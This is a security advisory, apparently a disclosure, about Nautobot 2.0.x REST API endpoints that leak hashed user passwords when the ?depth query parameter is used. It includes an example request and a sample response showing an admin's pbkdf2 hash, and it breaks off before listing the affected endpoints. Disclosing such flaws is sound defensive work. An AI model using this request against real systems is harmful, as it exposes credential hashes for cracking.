Nautobot vulnerable to exposure of hashed user passwords via REST API

Impact

In Nautobot 2.0.x, certain REST API endpoints, in combination with the ?depth=<N> query parameter, can expose hashed user passwords as stored in the database to any authenticated user with access to these endpoints.

The passwords are not exposed in plaintext. Nautobot 1.x is not affected by this vulnerability.

Example:

GET /api/users/permissions/?depth=1

HTTP 200 OK
API-Version: 2.0
Allow: GET, POST, PUT, PATCH, DELETE, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "count": 1,
    "next": null,
    "previous": null,
    "results": [
        {
            "id": "28ea85e4-5039-4389-94f1-9a3e1c787149",
            "object_type": "users.objectpermission",
            "display": "Run Job",
            "url": "http://localhost:8080/api/users/permissions/28ea85e4-5039-4389-94f1-9a3e1c787149/",
            "natural_slug": "run-job_28ea",
            "object_types": [
                "extras.job"
            ],
            "name": "Run Job",
            "description": "",
            "enabled": true,
            "actions": [
                "run",
                "view"
            ],
            "constraints": null,
            "groups": [
                {
                    "id": 1,
                    "object_type": "auth.group",
                    "display": "A Group",
                    "url": "http://localhost:8080/api/users/groups/1/",
                    "natural_slug": "a-group_1",
                    "name": "A Group"
                }
            ],
            "users": [
                {
                    "id": "e73288e2-1326-4bfb-8fea-041290dd7473",
                    "object_type": "users.user",
                    "display": "admin",
                    "url": "http://localhost:8080/api/users/users/e73288e2-1326-4bfb-8fea-041290dd7473/",
                    "natural_slug": "admin_e732",
                    "password": "pbkdf2_sha256$260000$jQb7hA48HYJ0MLWQgOZiBl$b72+gz6SpZiRpxceRQfT5Zv/aUac0eJ4NdBTZ8ECOow=",
                    "last_login": "2023-10-18T14:19:08.780857Z",
                    "is_superuser": true,
                    "username": "admin",
                    "first_name": "",
                    "last_name": "",
                    "email": "",
                    "is_staff": true,
                    "is_active": true,
                    "date_joined": "2023-10-18T14:18:55.854023Z",
                    "config_data": {}
                }
            ]
        }
    ]
}

Note the "password" field present in the nested "users" data.

This information is not exposed during direct access to the /api/users/users/ endpoint, but can be exposed through any endpoint which contains a nested reference to User object(s) when an appropriate query parameter is specified. Known impacted endpoints include: